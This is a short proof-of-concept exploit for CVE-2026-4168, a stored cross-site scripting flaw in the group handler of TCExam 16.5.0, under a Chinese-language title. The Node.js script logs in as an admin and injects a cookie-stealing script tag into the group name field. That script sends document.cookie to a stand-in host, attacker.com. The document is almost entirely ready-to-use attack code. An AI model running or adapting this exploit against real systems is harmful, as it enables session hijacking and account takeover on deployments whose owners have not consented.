CVE-2026-4168: TCExam 16.5.0 Group Handler跨站脚本漏洞

// CVE-2026-4168 PoC - TCExam XSS in Group Handler // Target: http(s)://<target>/admin/code/tce_edit_group.php // Method: POST // Authentication: Requires high-privilege admin account const axios = require('axios'); const querystring = require('querystring'); // Configuration const TARGET_URL = 'http://<target>/admin/code/tce_edit_group.php'; const USERNAME = '<admin_username>'; const PASSWORD = '<admin_password>'; // XSS Payload - Cookie Stealer const XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; async function exploit() { try { // Step 1: Login to get session cookie const loginData = querystring.stringify({ 'user_name': USERNAME, 'user_pass': PASSWORD, 'submit': 'Login' }); const loginResponse = await axios.post( TARGET_URL.replace('/code/tce_edit_group.php', '/login.php'), loginData, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, maxRedirects: 0, validateStatus: (status) => status < 500 } ); const cookies = loginResponse.headers['set-cookie']; console.log('[+] Login attempt completed'); // Step 2: Send XSS payload via group name parameter const exploitData = querystring.stringify({ 'name': XSS_PAYLOAD, 'submit': 'Save' }); const exploitResponse = await axios.post( TARGET_URL, exploitData, { headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': cookies } } ); console.log('[+] XSS payload sent'); console.log('[+] Target affected if script executes on admin page view'); console.log('[+] Payload:', XSS_PAYLOAD); } catch (error) { console.error('[-] Error:', error.message); } } exploit();